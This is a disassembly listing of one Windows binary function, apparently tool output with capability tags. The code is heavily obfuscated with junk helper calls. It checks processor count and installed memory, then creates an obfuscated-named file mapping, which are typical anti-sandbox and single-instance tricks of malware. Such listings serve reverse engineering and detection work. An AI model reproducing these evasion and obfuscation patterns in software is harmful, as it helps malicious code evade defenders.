Function at 0x140010950
Capabilities:
Copy file
Get common file path
Get memory capacity
Get system information on windows
Move file
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov esi, r9d
mov qword [rbp + 0x2b8], r8
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xf2
mov r8d, 0xc1
call fcn.140006b10
add rsp, 0x20
mov r12, rax
xor r12d, esi
sub rsp, 0x20
mov ecx, 0x7afafa69
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, r12d
sub rsp, 0x20
mov ecx, 0xa061440
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov r14, rax
and r14d, ebx
sub rsp, 0x20
mov ecx, 0x1050504
mov edx, 0x7b
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
mov rdi, rsi
mov qword [rbp + 0x2d8], rsi
sub rsp, 0x20
mov ecx, 0x1010104
mov r8d, 0x59
mov r9d, 0x4c
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, ebx
add esi, r14d
sub rsp, 0x20
mov ecx, 0xb071544
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov r14, rax
xor r14d, esi
sub rsp, 0x20
movabs rcx, 0xd12eb37eba792041
mov edx, 0xaf
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x862e0e
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov r13, rax
xor r13d, esi
sub rsp, 0x20
mov ecx, 0x29
mov edx, r12d
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x8ce3
mov r8d, 0x4b
mov edx, r12d
mov r9d, r12d
call fcn.140006b10
add rsp, 0x20
mov r15, rax
imul r15d, ebx
mov qword [rbp + 0x2e8], r15
sub rsp, 0x20
mov ecx, 0xe0
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x25cf
mov r8d, 0x57
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
xor esi, esi
cmp r15d, ebx
sete sil
sub rsp, 0x20
movabs rcx, 0xc8c0ac45d112efc1
call fcn.140006b10
add rsp, 0x20
neg esi
xor eax, esi
mov r15d, esi
imul eax, r13d
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x2b0], rsp
lea esi, [r14 + rbx]
mov eax, r14d
xor eax, ebx
sub esi, eax
and r14d, ebx
sub rsp, 0x20
mov ecx, 1
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r14d, cl
xor r14d, esi
sub rsp, 0x20
movabs rcx, 0x8568413d5c8fb5b7
mov edx, 0xbf
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov r8d, 0xd3
xor ecx, ecx
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
add esi, eax
mov rcx, qword [rbp + 0x2d8]
lea edi, [rcx + rbx]
mov eax, ecx
xor eax, ebx
sub edi, eax
and ebx, ecx
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, edi
sub rsp, 0x20
movabs rcx, 0x3e12f332a3e3807
mov edx, 0xca
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
add eax, ebx
imul eax, esi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x2e0], rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xcac767
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
mov r13, qword [rbp + 0x2e8]
xor ebx, r13d
or ebx, r14d
mov esi, r14d
or esi, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0x9d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, r14d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x36
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
imul eax, edi
mov rcx, r13
sub eax, ecx
xor r14d, ecx
sub r14d, ebx
sub r14d, esi
xor r14d, eax
sub rsp, 0x20
movabs rcx, 0x1ec98a6bdb692b9d
mov edx, r12d
call fcn.140006b10
mov ecx, 1
mov edx, 0x15
mov r8d, r12d
call fcn.140006b10
movabs rcx, 0x9b9ba6bc28b656a0
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0xe5
mov edx, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x3c
mov r8d, 0x2d
mov r9d, 0xe7
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 2
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
movabs rsi, 0x2c5efbe3fe905e83
lea rcx, [rsi + 0xb]
sub rsp, 0x20
call fcn.140006b10
mov ecx, 1
mov r8d, 0xcd
mov edx, r12d
call fcn.140006b10
mov rcx, rsi
call fcn.140006b10
xor ecx, ecx
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x14
mov r8d, 0x35
call fcn.140006b10
mov ecx, 2
mov r9d, 0x11
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
movabs rsi, 0x196a83cdb4aa3b2f
mov rcx, rsi
mov edx, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x74
mov edx, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x85
mov edx, r12d
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x7f
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x46d437
mov edx, r12d
call fcn.140006b10
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
add rsi, 0x1ec9f713
sub rsp, 0x20
mov rcx, rsi
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov edx, 0xfb
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xb86b62
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x91
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x21
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 2
mov edx, 0x337637
mov r8d, r12d
call fcn.140006b10
movabs rcx, 0x4c5c599ae37ac199
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov r9d, 0x43
xor ecx, ecx
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
add rsi, rax
sub rsp, 0x20
mov ecx, 1
mov r8d, 0x8d02cf
mov edx, r12d
call fcn.140006b10
movabs rcx, 0xa60f83a747b612f5
mov edx, 0xc6
mov r8d, 0xe4
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0x32
xor ecx, ecx
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
add rbx, rax
imul rbx, rsi
sub rsp, 0x20
mov ecx, 0xd
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov ecx, 0x67de096d
mov edx, 0xf
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
mov edx, r12d
call fcn.140006b10
sub rsp, 0x10
lea rdx, [rbp + 0x180]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [0x140013ff6]
mov r8, rsi
mov r9, rdi
call fcn.140006b20
add rsp, 0x30
mov qword [rbp + 0x2a8], rax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r14d
or esi, r15d
mov ebx, r15d
or ebx, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov r13, rax
imul r13d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, r15d
sub rsp, 0x20
mov ecx, 2
mov r8d, 0x36d846
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
sub ebx, r14d
mov eax, r15d
xor eax, r14d
sub eax, esi
sub eax, r13d
xor ebx, eax
sub rsp, 0x20
movabs rcx, 0x71e861ca0ea17dea
mov edx, r12d
call fcn.140006b10
mov edx, 0x43
mov r8d, 0xd4
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xc5
mov edx, 0xac
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xa42b56
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x74fb
mov edx, 0x3302ef
call fcn.140006b10
add rsp, 0x20
imul eax, edi
mov qword [rbp + 0x2c0], rax
sub rsp, 0x20
mov ecx, 0x87
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xe3
mov edx, r12d
mov r9d, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x157d
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
sub rsp, 0x20
movabs rcx, 0x8e179e35f15e8217
mov edx, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xa6
mov r8d, r12d
call fcn.140006b10
mov ecx, 2
mov edx, 0xfe1725
mov r8d, 0xfe
mov r9d, r12d
call fcn.140006b10
add rsp, 0x20
movabs rsi, 0x4981026b3501f848
lea rcx, [rsi + 1]
sub rsp, 0x20
mov edx, 0xbb
mov r9d, 0xaf
mov r8d, r12d
call fcn.140006b10
xor ecx, ecx
mov edx, r12d
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
mov ecx, 1
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov rcx, rsi
mov edx, r12d
call fcn.140006b10
mov ecx, 1
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
movabs rcx, 0x81ba2e7d57d280a9
mov edx, 0x21
call fcn.140006b10
xor ecx, ecx
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 0x12
mov r8d, 0x84
mov edx, r12d
call fcn.140006b10
mov ecx, 0xff
mov edx, r12d
call fcn.140006b10
mov ecx, 0xdf69
mov edx, 0xb4
mov r8d, 0x3f
mov r9d, 0xe5c16d
call fcn.140006b10
mov ecx, 0x8c
mov edx, 0x3d
call fcn.140006b10
mov ecx, 0xff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 0x17e9
mov edx, r12d
call fcn.140006b10
movabs rcx, 0xcbc73c0e2d0a2399
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov edx, 0x62
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xd1
mov edx, 0xe6
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0x5a21e1
mov edx, r12d
call fcn.140006b10
mov ecx, 0x788b
mov edx, r12d
call fcn.140006b10
mov ecx, 0x8c
mov edx, 0x55
call fcn.140006b10
mov ecx, 0xff
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
mov ecx, 0x9aff
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
movabs rsi, 0x84fad378b0c960c
lea rcx, [rsi + 1]
sub rsp, 0x20
mov edx, r12d
call fcn.140006b10
mov ecx, 1
call fcn.140006b10
mov edx, 0x19
mov rcx, rsi
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0xf771f9
mov r9d, 0x77
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
mov ecx, 2
mov r8d, 0xf7
mov edx, r12d
call fcn.140006b10
movabs rcx, 0x6829ede95f5f1093
mov edx, 0xb887d4
call fcn.140006b10
mov r8d, 0xf5
xor ecx, ecx
mov edx, r12d
call fcn.140006b10
mov ecx, 1
call fcn.140006b10
movabs rcx, 0x97d61216a0a0ef6e
mov edx, r12d
call fcn.140006b10
mov ecx, 1
call fcn.140006b10
movabs rsi, 0x633302555a65b7ba
mov r8d, 0x17
mov rcx, rsi
mov edx, r12d
call fcn.140006b10
mov ecx, 0x94
mov edx, r12d
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xee
call fcn.140006b10
mov ecx, 0x1993
mov edx, 0x71
mov r8d, 0xef
mov r9d, r12d
call fcn.140006b10
mov ecx, 0x87
mov edx, 0x16
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xdc0d
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
or rsi, 1
sub rsp, 0x20
mov edx, 0xa6
mov rcx, rsi
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x35
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xe4
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x5e
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov edx, r12d
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
movabs rcx, 0x546c70a6d1528269
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add eax, edi
mov qword [rbp + 0x2c8], rax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x54
call fcn.140006b10
add rsp, 0x20
mov r14, rax
mov rsi, qword [rbp + 0x2e8]
xor r14d, esi
mov rax, rbx
or r14d, eax
mov r13, rbx
or ebx, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0xcb
mov r8d, 0x8d
call fcn.140006b10
add rsp, 0x20
mov r15, rax
imul r15d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x61
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
mov rbx, r13
xor edi, ebx
sub rsp, 0x20
mov ecx, 2
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov r13, rax
imul r13d, edi
sub r13d, esi
mov rax, rbx
xor eax, esi
sub eax, r14d
sub eax, r15d
xor r13d, eax
sub rsp, 0x20
movabs rcx, 0xec505409d4ab2dd9
mov edx, 0xf1
mov r9d, 0xbe
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
add eax, r13d
imul eax, dword [rbp + 0x2c8]
shl rax, 6
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x2e8], rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
mov r13, qword [rbp + 0x2c0]
xor esi, r13d
mov r14, qword [rbp + 0x2d8]
or esi, r14d
mov ebx, r14d
or ebx, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, r12d
mov r8d, r12d
call fcn.140006b10
add rsp, 0x20
mov r15, rax
imul r15d, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, r14d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x36
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
mov rax, r13
sub ebx, eax
xor eax, r14d
sub eax, esi
sub eax, r15d
mov rdi, rax
sub rsp, 0x20
movabs rcx, 0xc4682f4fce15a06d
mov edx, r12d
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
xor esi, edi
sub rsp, 0x20
mov ecx, 0x13
mov edx, 0x9f
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xde5b
mov edx, 7
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xf9
mov edx, r12d
mov r8d, r12d
mov r9d, r12d
call fcn.140006b10
mov ecx, 0xff
mov edx, r12d
call fcn.140006b10
mov ecx, 0xfb0f
mov edx, 0x36
mov r8d, 0x53
mov r9d, 0x31
call fcn.140006b10
movabs rcx, 0x577320a440776965
call fcn.140006b10
add rsp, 0x20
imul eax, esi
imul rax, rax, 0x64
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov r15, rsp
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rsp, 0x20
mov rcx, qword [rbp + 0x2e0]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add rsp, 0x20
mov dword [rbp + 0x2f4], eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x8d
mov r9d, 0x81
mov r8d, r12d
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, r12d
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, r12d
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov edx, 0x5b
call fcn.140006b10
mov edx, 0xcd
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov ecx, dword [rbp + 0x2f4]
cmp ecx, eax
sete byte [rbp + 0x301]
movzx eax, byte [rbp + 0x301]
cmp al, 1
jne 0x140011b5e
sub rsp, 0x20
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
add rsp, 0x20
mov edi, dword [rbp + 0x1c0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xf3e6d5
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f4]
mov eax, dword [rbp + 0x2f4]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, edi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 1
mov r8d, edi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, edi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f4]
sub rsp, 0x20
mov ecx, 2
mov edx, edi
mov r8d, edi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f4]
movabs rsi, 0x60281852ccd059c5
lea rcx, [rsi + 2]
sub rsp, 0x20
mov edx, edi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0x69
mov r8d, 0xfe
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add ebx, eax
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
mov rcx, rsi
mov edx, edi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, edi
mov r8d, edi
call fcn.140006b10
add rsp, 0x20
xor eax, esi
xor eax, ebx
cmp edi, eax
setb byte [rbp + 0x2fb]
movzx eax, byte [rbp + 0x2fb]
cmp al, 1
je 0x140011b5e
mov rdi, qword [rbp + 0x2a8]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
movabs rcx, 0x766b1d6d79d81283
mov edx, 0x6f
mov r8d, edi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x301]
sub rsp, 0x20
mov ecx, 0xb0
mov edx, 0xdeaa6f
call fcn.140006b10
mov ecx, 0xff
mov edx, edi
call fcn.140006b10
mov ecx, 0x8cb1
mov edx, edi
call fcn.140006b10
mov ecx, 0xa8
mov edx, 0xe4
call fcn.140006b10
mov ecx, 0xbb6d
mov edx, edi
mov r8d, edi
call fcn.140006b10
movabs rcx, 0x8994e2928627edbd
mov edx, 0x6b
call fcn.140006b10
mov ecx, 0x40
call fcn.140006b10
add rsp, 0x20
mov rsi, qword [rbp + 0x2e8]
mov dword [rsi], eax
sub rsp, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
add rsp, 0x20
mov rbx, qword [rsi + 8]
sub rsp, 0x20
mov ecx, 1
mov edx, edi
mov r8d, edi
call fcn.140006b10
movabs rcx, 0x44fb55a6330f0274
call fcn.140006b10
xor ecx, ecx
mov edx, edi
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x2fb]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, edi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x22
mov r8d, edi
mov r9d, edi
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0x73
mov edx, edi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, edi
call fcn.140006b10
mov ecx, 2
mov edx, edi
mov r8d, edi
call fcn.140006b10
movabs rcx, 0xbb14aa594cf0fd8c
mov r9d, 0xa9
mov edx, edi
mov r8d, edi
call fcn.140006b10
xor ecx, ecx
mov edx, edi
call fcn.140006b10
movabs rcx, 0xfffff80000000
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
and rsi, rbx
movzx eax, byte [rbp + 0x301]
sub rsp, 0x20
mov ecx, 1
mov r9d, 0x39
mov edx, edi
mov r8d, edi
call fcn.140006b10
mov edx, 0xcb
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
cmp rsi, rax
je 0x140011b5e
mov rax, qword [rbp + 0x2e0]
mov rcx, qword [rax]
sub rsp, 0x20
call fcn.14000cd40
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x140014055]
lea r8, str.rq6uva6nr72xr7O9rrCwqbOvpqaf
mov rcx, r15
call qword [sym.imp.USER32.dll_wsprintfA]
add rsp, 0x20
mov dword [rbp + 0x304], eax
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0x5f
mov r8d, 0xca
mov r9d, edx
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x304]
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x39
call fcn.140006b10
mov ecx, 0x3c29
call fcn.140006b10
add rsp, 0x20
mov r8d, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0x71
mov edx, 0x704b4b
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
mov rbx, qword [rbp + 0x2d8]
or edi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x3b
mov r8d, 0x2b
call fcn.140006b10
add rsp, 0x20
and edi, eax
imul edi, edi
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0x9127
mov r8d, 0x4cdaa5
call fcn.140006b10
add rsp, 0x20
imul edi, eax
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
movabs rcx, 0x1b3583d93bf47d97
mov r8d, edx
call fcn.140006b10
mov ecx, 1
mov edx, 0x82
mov r8d, 0x56
call fcn.140006b10
movabs rcx, 0xe4ca7c26c40b826d
mov edx, 0xb5
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
xor ecx, ecx
mov r8d, edx
mov r9d, edx
call fcn.140006b10
add rsp, 0x20
lea esi, [rdi + rbx]
mov eax, edi
xor eax, ebx
sub esi, eax
and edi, ebx
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl edi, cl
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
movabs rcx, 0x62bf58be2b575d77
call fcn.140006b10
add rsp, 0x20
xor esi, eax
xor esi, edi
mov r8d, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0xc1
mov edx, 0xeb
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x5c4b
mov edx, 0xd2
mov r8d, 0x5b
call fcn.140006b10
mov ecx, 0x96
call fcn.140006b10
mov ecx, 0x7439
mov edx, 0x7b
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
movabs rcx, 0x9d40a741d4a8b289
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add edi, eax
add edi, esi
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 4
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov r8d, 0x760f70
xor ecx, ecx
mov r9d, edx
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov rcx, rdi
call fcn.140006b10
sub rsp, 0x10
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], eax
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, ebx
mov r9d, esi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
add rsp, 0x30
mov r12, qword [rbp + 0x2b0]
mov qword [r12], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov dword [rbp + 0x2fc], eax
cmp qword [r12], 0
setne byte [rbp + 0x303]
mov edx, dword [rbp + 0x304]
sub rsp, 0x20
mov ecx, 1
mov r8d, 0xe7
call fcn.140006b10
movabs rcx, 0x7f72260b94603cb1
mov edx, 0xa98d68
mov r8d, 0x13
call fcn.140006b10
mov edx, 0x1c
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x303]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
movabs rcx, 0x74b3aa9073684de7
call fcn.140006b10
mov ecx, 0xb7
mov edx, 0x6e
call fcn.140006b10
add rsp, 0x20
mov ecx, dword [rbp + 0x2fc]
cmp ecx, eax
setne byte [rbp + 0x2fa]
movzx eax, byte [rbp + 0x303]
and al, byte [rbp + 0x2fa]
and al, 1
mov byte [rbp + 0x2f9], al
movzx eax, byte [rbp + 0x2f9]
cmp al, 1
jne 0x1400127ed
sub rsp, 0x20
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
add rsp, 0x20
mov esi, dword [rbp - 0x60]
movzx eax, byte [rbp + 0x2fa]
movzx eax, byte [rbp + 0x303]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x3e
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x54afac912c7099bf
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2fc]
mov eax, dword [rbp + 0x2fc]
mov eax, dword [rbp + 0x2fc]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x19
call fcn.140006b10
movabs rcx, 0xab50536ed38f6643
mov edx, esi
mov r8d, esi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 2
mov edx, 0x94
mov r8d, 0xe9
mov r9d, 0x34
call fcn.140006b10
add rsp, 0x20
cmp esi, eax
setb byte [rbp + 0x302]
movzx eax, byte [rbp + 0x302]
cmp al, 1
je 0x1400127ff
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x8b
mov r8d, 0x46
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, dword [rbp + 0x304]
mov eax, dword [rbp + 0x2fc]
mov eax, dword [rbp + 0x304]
mov eax, dword [rbp + 0x2fc]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x12
mov r8d, esi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0xc9
mov edx, esi
call fcn.140006b10
add rsp, 0x20
